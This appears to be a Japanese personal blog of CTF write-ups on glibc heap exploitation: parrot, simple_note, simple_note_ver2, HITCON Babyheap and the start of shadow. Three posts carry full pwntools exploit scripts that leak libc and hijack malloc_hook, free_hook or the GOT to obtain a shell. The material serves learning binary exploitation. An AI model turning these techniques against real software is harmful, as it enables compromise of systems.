ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

TWCTF 3rd parrot

この問題は64bitのELFファイルでできているheap問題だった。本番環境では実際に試していないため、どのくらい差異があるのかわからないが、自分の備忘録として記録しておく。まずはセキュリティチェック
f:id:shimasyaro:20170918103655p:plain
gotの書き換えは不可ということを考えてやっていく。色々調べた結果以下のようなことが分かった。

  • sizeを入力した後にmallocされたBufferに対してを入力させ、Bufferの中身を出力された後にFreeされる。

  • ユーザから入力を受け取った時のsizeはread関数のsizeでも使われる。

  • read関数のsize - 1とmallocのポインタを足したところにNULLを挿入する。

今回のバグはsizeを任意のアドレスなどの非常に大きなsizeを確保するときに失敗する。今回の問題ではmallocが失敗した時の例外処理がされていないため、ポインタとしては失敗したときに0が入っている。つまり、sizeの部分に任意のアドレスを置けばNULLが挿入されて書き換えることができる。
以上の条件から今回はstdinのIO_FILE構造体のio_buf_baseを書き換える方針でやっていく。
まずは、libcの特定である。今回の特定方法は任意でmalloc, freeすることはできないため、malloc_consolidateを使ったlibcの特定をやっていく。今回で必要となる条件はfastbinsで二つ確保(それぞれ違うsize)した後に、fastbinsより大きいsizeを確保することでmain_arenaの特定をすることができる。具体的にどういった条件でmalloc_condolidateが発動するのか見てみよう。今回はFreeの方のmalloc_condolidateを利用していく。
f:id:shimasyaro:20170918110145p:plain

  • 現在のsize(unlink処理, topとの併合の処理のすべてが終わった時のsize)が0x10000以上であれば次の条件に行く。

  • fastbins chunkを持っている(1個以上)

以上の条件でmalloc_consolidateの処理に入る。また、malloc_condolidateは主にfastbinsのunlink処理を行っている。fastbinsのchunkのsizeはprev in useが立っている状態でスタートする。簡単にまとめると以下のようになっている。

  1. fastbins小さい順から処理を行っていく。

  2. prev in useが0であれば上方とunlinkする。

  3. next chunkがtopでなければ以下の処理をする。topであればtopと併合

 3-1. next chunkの次のprev in useを調べて0だったらnext chunkをunlinkする。0でなければnext chunkのprev in useを0にする。
 3-2. unsorted_bin[0] = p, unsorted_bin[0]->bk = p
 3-3. sizeがsmall_sizeの範囲でなければ条件に入る(今回は関係ない)
 3-4. sizeにprev in useを立てて、p->fd = unsorted_bin[-2], p->bk = unsorted_bin[0]を代入して、次のchunkにprev in useを立てる。

  1. pにnext chunkを代入した後に、次のchunkがあるか確かめる。なければループを抜ける。

  2. 次の大きさのfastbinに行き、それが最大のfastbins sizeになるまで続ける。

この条件から、以下のような戦略でlibcを特定する。

  • mallocを0x20、0x30、0x80の順番で確保する。

  • mallocを0x80で行い、8byte分だけ埋めるとmain_arenaのアドレスがleakできる。

8byte埋めるmallocされる前の様子は以下のようになっている
f:id:shimasyaro:20170919091556p:plain
次はio_buf_baseを書き換える方法であるが、これは、FILEのbufferのスタート位置を決めている部分である。つまり、ここの部分を書き換えることによってbufferとして使われるアドレスを変更することができる。つまり、今回の攻撃方針は以下のようになる。

  • read関数のsize - 1とmallocのポインタを足したところにNULLを挿入されるのを利用してsizeの部分にio_buf_baseのアドレスをセットする。

  • 次のsizeの部分でio_buf_baseをfree_hook、io_buf_endをfree_hook+8のアドレスをセットする。

  • 次のsizeでfree_hookをdo_systemに書き換えてshell起動

以下は、io_buf_baseがNULLに書き換わる直前である
f:id:shimasyaro:20170919094514p:plain
以下はio_buf_baseが書き換わった後のIO_FILE構造体の様子である。
f:id:shimasyaro:20170919094631p:plain
以下は、io_buf_baseをfree_hook、io_buf_endをfree_hook+8のアドレスをセットした様子である。
f:id:shimasyaro:20170919095054p:plain
この後に、再びsizeの部分にの入力をしないといけないが、bufferの入力を大量に行わないといけない。これは、sizeの部分でfree_hookの書き換えるときのバイト数に関係していると思うが、正確なバイト数ではない、また、関係性が分かっていないため、もしかしたら、環境によって違ってくるのかもしれない。(誰か教えてください)
以下はfree_hookがdo_systemに書き換わった様子である。
f:id:shimasyaro:20170919100559p:plain
do_systemはglibc/sysdeps/posix/system.cで定義されている今回はその中でも以下の部分を用いている。
f:id:shimasyaro:20170919100730p:plain
すると_int_freeが実行される前に以下のようにdo_systemが行われてshellが起動する。
f:id:shimasyaro:20170919100836p:plain
参考にさせていただいたCTF/Parrot.md at master · scwuaptx/CTF · GitHubのコードを少し改良したものが以下のコードである。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
elf = ELF('./parrot') 

if len(sys.argv) > 1:
        HOST = 'localhost'
        PORT = 4444
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        r = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        libc = ELF('./libc.so.6')
        r = process(["./parrot"], env={"LD_PRELOAD":"./libc.so.6"}) 
        log.info("PID : " + str(proc.pidof(r)[0]))
        print "[+] connect to local\n"

def alloc(size,data):
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(data)

alloc(0x20,"D")
alloc(0x30,"D")
alloc(0x80,"g")
alloc(0x80,"d"*7)
r.recvuntil("d\n")
libc = u64(r.recv(8)) - 0x3c4b78
print  "libc:",hex(libc)
io_buf_base = libc + 0x3c4918
alloc(io_buf_base+1,"") 
r.recvuntil(":")
free_hook = libc + 0x3c67a8
r.sendline("1".ljust(0x18,"\x00") + p64(free_hook) + p64(free_hook+0x8) + p64(0))
for i in range(0x2f): # local 0x2d remote 0x2f
    r.recvuntil('er:')
    r.sendline('')
r.recvuntil("Size:")
magic = libc + 0x4526a    # do_system
print  "magic:",hex(magic)
r.sendline(p64(magic))
r.sendline('id\n')
r.interactive()

また、別解としてTokyoWesterns 2017 - Parrotがあるが、かなり複雑である。作者曰く似ているとしてあげているHouse of Orangeを理解してからこの別解も理解できたらいいなぁというお気持ち。

[総評]IO_FILEで色々なことができるのは面白いと思った。
   

TWCTF 3rd simple_note_ver2

この問題は64bitのELFファイルでできているheap問題だった。本番環境では実際に試していないため、どのくらい差異があるのかわからないが、自分の備忘録として記録しておく。まずはセキュリティチェック
f:id:shimasyaro:20170914224953p:plain
gotの書き換えは無理という前提で考えなければならないことが分かる。では早速問題のバイナリを見ていく。見ていった結果以下のようなことが分かった。

  • add(malloc)するときのsize checkがない。

  • add(malloc)のとき、mallocでつかったsizeがそのまま、noteを受け取るときにread関数で使われる。

  • noteのsize - 1がread関数の引数になるため、sizeを0にすると0xffffffffとなり、heap overflowを起こす。

以上の条件からfastbins attackをして、malloc_hookを書き換えてshellを取るという方針で説明していく。

まず、libcの特定方法であるが、simple_note(TWCTF 3rd simple_note - ちょっとずつ成長日記)とやり方が変わらないため、割愛させていただく。

次に、heap overflowをさせ、fastbinsのfdを書き換えていく。まず、書き換えを行うindex 2とindex 0をfreeする。freeした様子が以下のようになる。
f:id:shimasyaro:20170914122926p:plain
次に、sizeを0にしてmallocを行うとindex 0にmallocされ、heap overflowでfdを書き換えることができる。書き換えた様子が以下のようになる。
f:id:shimasyaro:20170914124058p:plain
書き換えるのはfdだけでよい。(prev_size, sizeを壊さないように配置するだけ)
fdとして配置したものだが、これはfastbinsのsize checkを潜り抜けるために、必要な場所をprev_sizeとした。fdの場所を以下に示す。
f:id:shimasyaro:20170914124630p:plain
赤枠で囲っている部分がmallocされるときにfastbinsのsize checkを抜けるmalloc chunkのsizeの部分である。具体的には以下のところのcheckを抜けるのに必要となる。
f:id:shimasyaro:20170914124831p:plain
ここは、要求sizeにあわせたfastbinsとfreeとして存在しているfastbinsのsizeのindexが一致しているかどうかのチェックが行われている。もし、一致しなければabortしてしまうため注意が必要である。
今回は0x7fとすることで、fastbinsの0x70サイズにしつつ、要求サイズにも合わせている形になっている。(今回の例でいうのであれば要求サイズがfastbinsの0x70の範囲つまり、0x58 < size <0x69であればOK)
次に、サイズに合わせたmallocを2回行う。1回目はindex 2がポインタとして返ってくる。2回目はfdで書き換えた部分が返ってくる。以下は1回目mallocしたときのfastbinsの様子である。
f:id:shimasyaro:20170914135711p:plain
2回目のmallocを行うとprev_sizeから+16byte先がポインタとして返ってくるので、それに合わせてpaddingを入れつつmalloc_hookを書き換える。うまく書き換えると以下のようになる。
f:id:shimasyaro:20170914140021p:plain
ここでmalloc_hookの説明をしておく、malloc_hookは関数のポインタになっており、mallocの実体である_int_mallocが始まる前に呼ばれる。実際のソースは以下である。
f:id:shimasyaro:20170914140419p:plain
また、malloc_hookに登録する関数はexec_commと言われる関数である。これはわざわざsystem(/bin/sh)を用意しなくてもexecveを実行してくれる関数である。実際は以下のようになる。
f:id:shimasyaro:20170914140724p:plain f:id:shimasyaro:20170914140728p:plain
このexec_commは調べた限り以下のような関数で呼ばれているようだった。
f:id:shimasyaro:20170914141048p:plain
backtraceをするとexec_comm関数の中のexec_comm_childが呼ばれているようだった。この2つの関数はglibc/posix/wordexp.cで定義されている。以下はexec_comm_childでexecve関数を呼び出している様子である。
f:id:shimasyaro:20170914141307p:plain
あとは、addを選択して、適当なsizeを入れたらmalloc_hookに入れた関数が実行される。
以下は参考になったソース(Snip2Code - MMA CTF 2017 3rd simple_note_ver2 write-up])を少し変更を加えたソースである。

from pwn import *
import sys, time

context.log_level = "debug"

if len(sys.argv) == 1:
    p = process(["./simple_note_ver2"], env={"LD_PRELOAD":"./libc.so.6"})
    log.info("PID : " + str(proc.pidof(p)[0]))

else:
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("localhost", "4444")


def add(size, data, sending=False):
    p.recvuntil("choice:")
    p.sendline("1")
    p.recvuntil("note.")
    p.sendline(str(size))
    p.recvuntil("content of the note.")
    if sending:
        p.send(data)
    else:
        p.sendline(data)

def delete(idx):
    p.recvuntil("choice:")
    p.sendline("3")
    p.recvuntil("note.")
    p.sendline(str(idx))
    p.recvuntil("Success!\n")

def show(idx):
    p.recvuntil("choice:")
    p.sendline("2")
    p.recvuntil("note.")
    p.sendline(str(idx))
    p.recvuntil("Content:")

add(0x10, "Q" * 0xf, True)      # index 0   0x20
add(0x88, "A" * 0x87, True)     # index 1   0x90
add(0x60, "BBBB")               # index 2   0x80
delete(1)
add(0x80, "C" * 7)              # index 1           allocate 4times
show(1)

p.recvuntil("C" *  7 + "\n")
leak = u64(p.recv(6).ljust(8, "\x00"))          # leak main_arena + 88
libc_base = leak - 0x3c4b78
magic = libc_base + 0xf1117                     # exec_cmm+2263

main_arena = leak - 88
duphook = main_arena - 0x2b - 8

log.info("Leak : " + hex(leak))
log.info("magic : " + hex(magic))
log.info("duphook : " + hex(duphook))

# fastbin dup attack
delete(2)
delete(0)

exp = "A" * 0x10 + p64(0x0) + p64(0x91) + "B" * 0x80
exp += p64(0x90) + p64(0x71) + p64(duphook)     # overwrite fd

add(0, exp)
add(0x60, p64(0xdeadbeef))
add(0x60, "\x00" * 0x13 + p64(magic))
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("note.")
p.sendline(str(0x20))
p.interactive()

【総評】これもeasyってマジですか?

TWCTF 3rd simple_note

この問題は64bitのELFファイルでできているheap問題だった。本番環境では実際に試していないため、どのくらい差異があるのかわからないが、自分の備忘録として記録しておく。まずはセキュリティチェック
f:id:shimasyaro:20170913142139p:plain
バイナリを解析していると以下のようなことが分かった。

  • Mallocするsizeが0x80より下であった場合強制終了

  • editの部分でstrlenが使われているが、off-by-one errorがある。

  • mallocされたポインタはlistで管理されている。

つまり、off-by-oneを利用してsizeをうまく書き換えて、systemを起動させることが必要である。しかし、Sizeが制限されているため、fastbinsの使用は許されない。そこで今回はunsafe unlink attackをやっていく。
まずは、下準備として、libcの特定をやっていく。特定の仕方としては、まず最初に、最低2つのadd(malloc)されたものを用意し、その中で一番最初にadd(malloc)されたものをdelete(free)する。その状態を以下に示す。
f:id:shimasyaro:20170913144156p:plain
次に、再び、同じサイズでadd(malloc)をする。このとき、改行文字を含めて全部で8byte分だけ、書き込む。すると以下のようになる。
f:id:shimasyaro:20170913144347p:plain
これで、showを行うと、main_arena+88のアドレス(unsorted bins)をleakすることができる。これにより、libcの特定ができる。
libcは特定できたため、次はunlink attackである。freeする対象のlistは5番目(index 4)である。なぜ、index 4をfreeするのかをunlink attackの復習を兼ねて見てみよう。
f:id:shimasyaro:20170913150054p:plain
unlinkのされ方としてまず、freeされる自身の上方がfree chunkであるかどうかを確かめて、freeであったら(つまり、previn_use bitが立ってなければ)unlinkの処理に入る。今回は上方がfreeされている状態をわざとchunk(fake chunk)を作る。まずは、fake chunkが作られる前である。
f:id:shimasyaro:20170913150347p:plain
fake chunkを作った後は以下のようになる。 f:id:shimasyaro:20170913150739p:plain
注目してほしいのは赤枠で囲っている二つである。まず、一番上で囲っているものはfake chunkである。fdとbkを用意し、unlinkをするために意識して準備したものである。今回はlistの1番目(index 0)のアドレスをfake chunkとつなげる。まずは、unlinkの処理を見てみよう。
f:id:shimasyaro:20170913151820p:plain
Pの部分にはfreeされる上方のchunkつまり、fake chunkが入っている。するとまず、1個目のcheckがある。これは、fake chunkのサイズとfreeされるprev_size(index 4のprev_size)が同じかどうかを確かめている。このチェックは14.04ではなかったが、16.04のglibcでは追加されているのでバージョンの違いに注意してほしい。今回の問題は16.04でもいけるようにprev_sizeを用意する。
次の問題であるが、P->fd->bkとP->bk->fdがPと一致しなければならない。つまり、fake chunkのfd+24とbk+16がPを指していなければエラーとなる。
最後に書き換わる順番であるが、まず、bkに入っているものに書き換わり、次にfdとなるので、fdを中心に考えていかなければならない。 以上をまとめると以下のようになる。

  • listのindex 3がfake chunkのprev_size(つまりP)になるようにしてfake chunkを用意する。

  • fake chunkのfd,bkはfd == (fake chunkとつなげたい場所) - 24, bk == (fake chunkとつなげたい場所) - 16とする。※今回、つなげたい場所はindex 0

最終的に書き換わると以下のように変化する。まずは変化前である。
f:id:shimasyaro:20170913154544p:plain
まだ、赤枠で囲っているindex 3は書き換わっていないことが分かる。次は、書き換わった後である。
f:id:shimasyaro:20170913155302p:plain
赤枠で囲っているindex 3がindex 0のアドレスに書き換わっていることが分かるだろうか。つまり、index 3に書き込もうとするとindex 0のアドレスに書き込もうとする。このことを利用して、index 3でeditを行い、atoiのgotに書き換え、index 0でeditを行い、atoiのgotに対して、systemのアドレスを(GOT overwrite)書き込む。
最後に、次の選択で/bin/shを書きこめば、shellが取れる。
とても、参考になったexploitコードが以下にあるので、よかったらどうぞ。

gist.github.com

なにかしら、説明に間違えあったら教えてください。

【総評】今のPwnのeasy levelがこれってマジですか?

HITCON CTF 2016 Quals Babyheap

今回の問題はx64-ELFでxinetd型であった。glibc mallocが使われている問題であるため、glibc mallocの動きを把握するのにはとても良い問題であった。ではさっそく問題を見ていこう。

kit@ubuntu:~/work/babyheap$ checksec --file babyheap 
[*] '/home/kit/work/babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
    FORTIFY:  Enabled
kit@ubuntu:~/work/babyheap$ 

kit@ubuntu:~/work/babyheap$ ./babyheap 
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:1
Size :16
Content:aaaaa
Name:bbbb
Done!
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:4
Really? (Y/n)n
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:

少し動かしてみたが、以下のようなことが分かった。

  • EditとDeleteはそれぞれ一回ずつしかできない。

  • ExitはYを入力しない限り終了しない。

どうやら、この制約された状況でバグを見つけるみたいだった。バグを見つけるためにまずは入力できるような部分から見ていく。mallocされるものは全部で二つあり、以下のような構造体の攻勢になっている。

struct Data{
    size_t size;
    char name[8];
    char *content;
}

そして、nameとcontentを入力する関数でoff-by-one errorのバグがあった。配列では添え字は0からスタートするため、一番最後の配列の添え字はsize - 1になっている。しかし、今回NULLを挿入するときに、配列の添え字にsizeを挿入しているため、実際はsize+1にNULLを挿入してしまい、1byte分上書きできるバグである。以下がその部分である

mov     [rbp+buf], rdi
mov     [rbp+size], esi
mov     eax, [rbp+size]
movsxd  rdx, eax        ; nbytes
mov     rax, [rbp+buf]
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
mov     [rbp+read_size], eax
cmp     [rbp+read_size], 0
jg      short add_null
add_null:
mov     eax, [rbp+read_size]
movsxd  rdx, eax
mov     rax, [rbp+buf]
add     rax, rdx
mov     byte ptr [rax], 0 ; bufの一番最後に挿入
nop
leave
retn

このバグを使えば、contentのポインタが変わるぞ!ということでnameから溢れさせてみたのが以下の様子である。
f:id:shimasyaro:20170603142856p:plain
contentのポインタが0x603030から0x603000に上書きされているのがわかる。しかし、この状態でfreeを行ってしまうと0x603000から-0x8byte先であるmalloc chunkのmeta dataであるSizeがないため、SEGVを起こして死ぬ。
どうすればいいんだよぉっていう状態になったため、write upを見ることにした。以下は参考にしたwrite upです。ありがとうございました!
shift-crops.hatenablog.com
wirte upによると16.04の環境ではheap領域にbufferingされるみたいです。マジかよ知らなかったわとツイートしたら、プロから以下のようなご意見をいただきました。助かりました!ありがとうございます
f:id:shimasyaro:20170604093156p:plain
どうやら、この問題が出された時も「16.04で動かしてね!」という旨を書かれていたらしいです。そのため、今回は試すのであれば16.04で動かしてください。
さて、Newを実行する前にSizeを-8byte先に置いておかなければならないが、どこで確保すればいいのだろうということだが、Exitの部分でY/nを入力するようなところがある。ここを規定以上の入力を行い、Heap領域にbufferingさせ、-8byte先に偽のSizeを置く。以下はbuffering前と後の様子である
f:id:shimasyaro:20170603150659p:plain
f:id:shimasyaro:20170603151013p:plain
bufferingさせる前は、0x00624000であったが、buffering後は0x00625000まで伸びている。実質0x1000をbufferingしてしまったが、これ以上短くはできなかったため、仕方なく、0x1000近く送って-8byteさきに偽のSizeを置いた。以下はその後Newを行いnameを溢れさせ、contentの下位1byteを上書きした様子である。
わかりやすくするために、色分けを行った。青枠は今回free listにつなげようとしている偽Chunk、赤枠は構造体のchunkである。
f:id:shimasyaro:20170603160801p:plain
f:id:shimasyaro:20170603160814p:plain
赤枠の構造体のcontentポインタが0x604040から0x604000にoff-by-one errorで書き換わっている。そして、0x604000から-8byteしたところに偽のSizeである0x50が入っている。0x50にした理由がこれ以下のサイズにしてしまうと赤枠の構造体と被ってしまうため、0x50にした。
ここの0x50をfree listにつなげて、contentのsizeをうまく確保すると構造体の中身を自由に書き換えることができる。 被るというのは、x64の環境ではfreeされたものは、いったんfastbinsやunsorted chunksにつながれた後、binsに繋がれる。このとき、binsは配列になっており、添え字が1増えるたび0x10ずつ大きくなっていく。このとき、binsの最小サイズは0x18である。
ここまでのお話よくわかんねぇ。というお方は以下の資料をご参照ください。資料はx86ですが、x64は単純に2倍しただけですので問題ないかと思います
speakerdeck.com

つまり、0x50より小さいbinsサイズはと0x40であるため、構造体と被ってしまうため、被らない最小の0x50にした。
よし、これで、freeすれば問題なし!と思うが、実は青枠で囲み終わって次のアドレスに格納されている0x18がなければ以下のようなエラーでSEGVをおこす。以下はfreeでエラーを起こしてSEGVになった後にback traceした様子である。

#0  0x00007ffff7a43428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff7a4502a in __GI_abort () at abort.c:89
#2  0x00007ffff7a857ea in __libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7ffff7b9e2e0 "*** Error in `%s': %s: 0x%s ***\n")
    at ../sysdeps/posix/libc_fatal.c:175
#3  0x00007ffff7a8de0a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>, str=0x7ffff7b9e358 "free(): invalid next size (fast)", 
    action=0x3) at malloc.c:5004
#4  _int_free (av=<optimized out>, p=<optimized out>, have_lock=0x0) at malloc.c:3865
#5  0x00007ffff7a9198c in __GI___libc_free (mem=<optimized out>) at malloc.c:2966
#6  0x0000000000400b35 in ?? ()
#7  0x0000000000400d0c in ?? ()
#8  0x00007ffff7a2e830 in __libc_start_main (main=0x400c9e, argc=0x1, argv=0x7fffffffdd98, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7fffffffdd88) at ../csu/libc-start.c:291
#9  0x0000000000400849 in ?? ()

3に書かれているエラー内容で"free(): invalid next size (fast)“と書かれているものが原因でSEGVを起こしたのである。このエラーはつぎのChunkのSizeにエラーがあるということである。
今回のケースに当てはめてみると0x50先であるnext chunkのSizeが不正であったら、エラーを起こすというものである。今回のケースでエラーを起こすのは分かっただけでも二つある。

  • bins(fastbins)の大きさと一致しない。

  • previn_use flagは特に必要ない。

詳細はソースを見るべきであるが、辛い思いをしてもよくわからなかった(絶望的にまで頭悪い)ので、確証が持てるもの以外は載せない。「glibc malloc余裕ww」というプロはぜひ知見を共有してくださいお願いします。
一応、該当しそうだなという場所は載せておきます。ソースは、glibc-2.23のmalloc.cです。また、参考になった資料も載せておきます。

3911            if (have_lock
3912               || ({ assert (locked == 0);
3913                     __libc_lock_lock (av->mutex);
3914                     locked = 1;
3915                     chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
3916                       || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
3917                 }))
3918             {
3919               errstr = "free(): invalid next size (fast)";
3920               goto errout;
3921             }

github.com

さて、next chunkのサイズはどう入力するかだが、contentを入力するときにSizeを入れれば問題ない。今回の場合はpaddingとして8byte(ちょうどdeadbeefのところ)入れている。
この状態でDelete(free)を行うと以下のようにbinsにつながる。(一応fastbinsも載せる)
f:id:shimasyaro:20170603165909p:plain
f:id:shimasyaro:20170603165933p:plain
binsには、0x20の配列に構造体であった0x604010、0x50の配列に偽のchunkであるものがつながっている。ここの0x50にcontentのsizeを確保するようにする。meta dataのSize分の大きさを引いて0x48byteをNewでSizeとして確保する。以下は、新しく確保して、contentで構造体の中身を書き換えた様子である。
f:id:shimasyaro:20170603192205p:plain
contentのポインタを任意のアドレスにすることによって、そのアドレス先にNewで最初contentに書き込むとき、Editを選んだ時書き込むことができる。今回はNewの時点でGOTアドレス(.got.pltアドレス)を設定している。また、以下の手順でsystemの書き換えを行う。

  1. Newの時点でexit.got.pltのアドレスを設定する。

  2. EditでGOT Overwriteを行う。(exitをret, atoiをprintfにする)

  3. menuの入力でprintfに書き換えたatoiで意図的にFSBを作ってlibcをleakする。

  4. EditでatoiをsystemにGOT Overwriteする。

  5. menuの入力で/bin/shを入力してshellを起動

最初に、1の部分であるが、ここは2回Editを行えるようにするため、exitでプロセスが強制終了しないようにするものである。
これは第一引数にセットするためのROPがうまく見つからなかったための対策である。(どうやら本番環境のlibcではなかった模様)それにならって今回も同じ方法でやっていく
次に2の部分であるが、これは、exitからatoiまで一気に書き換える。プロセスが始まった瞬間の.got.pltがどうなっているか見てみよう。以下は、.got.pltの様子である。
f:id:shimasyaro:20170604083224p:plain
.got.pltは一度使われるとアドレス解決が行われ、libcの実態に書き換わる。そして、2回目以降からは直接、実体があるlibcアドレスに直接飛ぶようになる。書き換えを行うとき、もう一度使う予定がある関数は.plt+6のアドレスに書き換えれば、再びアドレス解決をし、実体が保存される。それを考慮しながら、exploitコードを書くと以下のようになる。
f:id:shimasyaro:20170604084121p:plain
書き換えを行う、exitとatoi以外は再びアドレス解決行うようにした。
次に、3であるが、これはmenuの入力は部分はatoiを使ってint型に変換している。つまり、menuの入力がatoiの第一引数になるため、atoiをprintfに変えることで意図的にFSBを使ってアドレスをleakする。FSBを使って1番目から地道に調べていくとどうやら8番目にmenuの入力の部分にたどり着くので、9番目に任意のアドレスを設定して、libcをleakするこのとき、%sを使う。これはポインタ先をleakさせるために用いる。一応、1番目からの様子をいかに張り付けておく。

searchmem 0x7fffffffdc40 $rsp-0x1000 $rsp+0x1000
Searching for '0x7fffffffdc40' in range: 0x7fffffffcc30 - 0x7fffffffec30
Found 2 results, display max 2 items:
[stack] : 0x7fffffffd5b8 --> 0x7fffffffdc40 ("%6$p.%7$p.%8$p.%\005")
[stack] : 0x7fffffffdb78 --> 0x7fffffffdc40 ("%6$p.%7$p.%8$p.%\005")
 
1  0120| 0x7fffffffdb78 --> 0x7fffffffdc40 ("%6$p    \030 `")
2  0128| 0x7fffffffdb80 --> 0x10 
3  0136| 0x7fffffffdb88 --> 0x7ffff7b04680 (<__read_nocancel+7>:  cmp    rax,0xfffffffffffff001)
4  0144| 0x7fffffffdb90 --> 0x7ffff7fde700 (0x00007ffff7fde700)

5  0168| 0x7fffffffdba8 --> 0xcc0000ff00000000 

6  0304| 0x7fffffffdc30 --> 0x8 
7  0312| 0x7fffffffdc38 --> 0x7ffff7a7d7fa (<_IO_puts+362>:   cmp    eax,0xffffffff)
8  0320| 0x7fffffffdc40 ("%6$p    \030 `")
9  0328| 0x7fffffffdc48 --> 0x602018 --> 0x7ffff7a91940 (<__GI___libc_free>:   push   r13)

今回の.got.pltはGOT Overwriteの影響を受けていない、free関数を用いてleak行う。このときのexploitは以下のようになる。
f:id:shimasyaro:20170604090128p:plain
%sの後ろにwが4つ入っているがこれは9番目にアドレスを設定するためのpaddingである。
次に4であるが、Editを選択するときに、atoiがprintfに書き変わっているため、返り値で比較している部分を考慮しなければならない。printfの返り値は出力した文字数であるため、menuを選択するときは入力で3文字入力する必要がある。
このとき、あらかじめexploitコードで関数を作るときに3とスペース2つの合計3文字分にしておくと後々便利である。
あとはatoiをsystemに書き換えて、再びmenuに戻ってきたら/bin/shを与えてあげればshellが取れる。以下はexploitコードである。
コードべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log
elf = ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

exit_got           = elf.got['_exit']             # _exit got address
read_chk_plt       = elf.plt['__read_chk']        # __read_chk
puts_plt           = elf.plt['puts']              # puts
printf_plt         = elf.plt['printf']            # printf
alarm_plt          = elf.plt['alarm']             # alarm
read_plt           = elf.plt['read']              # read
stack_chk_fail_plt = elf.plt['__stack_chk_fail']  # __stack_chk_fail
libc_start_plt     = elf.plt['__libc_start_main'] # __libc_start_main
signal_plt         = elf.plt['signal']            # signal
malloc_plt         = elf.plt['malloc']            # malloc
setvbuf_plt        = elf.plt['setvbuf']           # setvbuf
ret                = 0x00400711
free_offset        = libc.symbols['free']

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 1025
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def new(size, content, name):
    conn.recvuntil('Your choice:')
    conn.send('1')
    conn.recvuntil('Size :')
    conn.send(str(size))
    conn.recvuntil('Content:')
    conn.send(content)
    conn.recvuntil('Name:')
    conn.send(name)

def delete():
    conn.recvuntil('Your choice:')
    conn.send('2')

def edit(content):
    conn.recvuntil('Your choice:')
    conn.send('3  ')
    conn.recvuntil('Content:')
    conn.send(content)

def exit(data):
    conn.recvuntil('Your choice:')
    conn.send('4')
    conn.recvuntil('Really? (Y/n)')
    conn.send(data)

# buffering heap area and create fake chunk
buffering = ''
buffering += 'nn'
buffering += '\x00'*(0x1000-0x18-len(buffering))
buffering += p64(0x50)
exit(buffering)

# create chunk and create fake chunk
data = ''
data += p64(0xdeadbeef)
data += p64(0x18)
new(0x80, data, 'A'*8)
delete()

# GOT overwrite
got_ovr = ''
got_ovr += p64(ret)                    # _exit
got_ovr += p64(read_chk_plt+6)         # __read_chk
got_ovr += p64(puts_plt+6)             # puts
got_ovr += p64(stack_chk_fail_plt+6)   # __stack_chk_fail
got_ovr += p64(printf_plt+6)           # printf
got_ovr += p64(alarm_plt+6)            # alarm
got_ovr += p64(read_plt+6)             # read
got_ovr += p64(libc_start_plt+6)       # __libc_start_main
got_ovr += p64(signal_plt+6)           # signal
got_ovr += p64(malloc_plt+6)           # malloc
got_ovr += p64(setvbuf_plt+6)          # setvbuf
got_ovr += p64(printf_plt+6)           # atoi

# overwrite content address 
ovr_address = ''
ovr_address += p64(0) * 3
ovr_address += p64(0x21)            # malloc chunk size
ovr_address += p64(len(got_ovr))    # content size
ovr_address += p64(0xfeedface)      # name
ovr_address += p64(exit_got)        # content ptr

new(0x48, ovr_address, 'B'*7)
edit(got_ovr)

conn.recvuntil('Your choice:')
conn.send('%9$swwww' + p64(elf.got['free']))
libc_free = int(hex(u64(conn.recv(6) + '\x00\x00')),16)
print '[+] free address %18x' % libc_free
libc_base = libc_free - free_offset
print '[+] libc base address %18x' % libc_base
system = libc_base + libc.symbols['system']

# atoi to system
payload = ''
payload += got_ovr[:-8]
payload += p64(system)
edit(payload)

# start shell
conn.recvuntil('Your choice:')
conn.send('/bin/sh')

conn.interactive()

[総評] glibc malloc 良さみが深い。

Tokyo Westerns/MMA CTF 2nd 2016 shadow

今回の問題は32bit-ELFで簡単な問題と思いきや全然そんなことはなかった。解法は全部で三つあるため全部紹介したいと思う。ではさっそくみてみよう!

kit@ubuntu:~/work/shadow$ checksec --file shadow 
[*] '/home/kit/work/shadow/shadow'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

kit@ubuntu:~/work/shadow$ ./shadow 
Hello!
You can send message three times.
Input name : shadow
Message length : -1
Input message : aaaa
(1/3) <shadow> aaaa

どうやら、全部で三回ほど入力ができるらしい、試しに長さを負の数を入れて動かしてみたら、正常に動いているらしかった。もしかしたら、チェックが甘いのかなと思って入力関数が存在しているところを中心に見てみることにした。すると以下のようなことが分かった。
* stackに保存しているループカウンターと比べて小さい場合ループを続ける。 * Message lengthの負数チェックがされていない。 * Input messageのBufferの後ろにはcanaryとreturn addressがある。 * input name pointerの書き換え、カウンタの書き換え、input nameのサイズの書き換えができる。
とりあえず、input messageのstackを見てみよう。
f:id:shimasyaro:20170507094339p:plain
